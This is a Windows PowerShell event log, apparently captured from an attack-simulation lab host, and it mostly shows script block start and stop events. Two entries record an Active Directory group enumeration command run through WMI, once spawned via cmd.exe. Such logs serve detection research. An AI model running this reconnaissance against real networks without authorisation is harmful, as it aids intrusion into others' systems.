ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024098
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024096
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024095
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024094
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024093
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024092
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd31a6a1-5d24-43f8-b83a-b0a1e2643905
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024108
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024106
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024104
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024103
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024102
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024119
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024118
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024117
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024115
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024113
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024112
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024111
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024143
Keywords=None
Message=Completed invocation of ScriptBlock ID: d164d21e-a92d-488a-a778-0ee3c78a140e
Runspace ID: 6af7195a-2b2a-4f7a-9bd4-be15197a3b2d
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024142
Keywords=None
Message=Started invocation of ScriptBlock ID: d164d21e-a92d-488a-a778-0ee3c78a140e
Runspace ID: 6af7195a-2b2a-4f7a-9bd4-be15197a3b2d
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024141
Keywords=None
Message=Started invocation of ScriptBlock ID: 6028a86f-f766-4963-bbb8-820d37114486
Runspace ID: 6af7195a-2b2a-4f7a-9bd4-be15197a3b2d
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024140
Keywords=None
Message=Creating Scriptblock text (1 of 1):
get-wmiobject -class ds_group -namespace root\directory\ldap

ScriptBlock ID: 6028a86f-f766-4963-bbb8-820d37114486
Path:
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=2024139
Keywords=None
Message=PowerShell console is ready for user input
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=2024138
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 2844 in AppDomain: DefaultAppDomain.
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=2024137
Keywords=None
Message=PowerShell console is starting up
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024136
Keywords=None
Message=Started invocation of ScriptBlock ID: efec125c-4be7-4699-aa49-0aa1e8ce1b61
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024135
Keywords=None
Message=Creating Scriptblock text (1 of 1):
cmd.exe /c powershell.exe get-wmiobject -class ds_group -namespace root\directory\ldap

ScriptBlock ID: efec125c-4be7-4699-aa49-0aa1e8ce1b61
Path:
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024133
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024131
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024130
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024129
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024127
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024125
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024124
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024123
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:00:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024121
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024162
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024160
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024159
Keywords=None
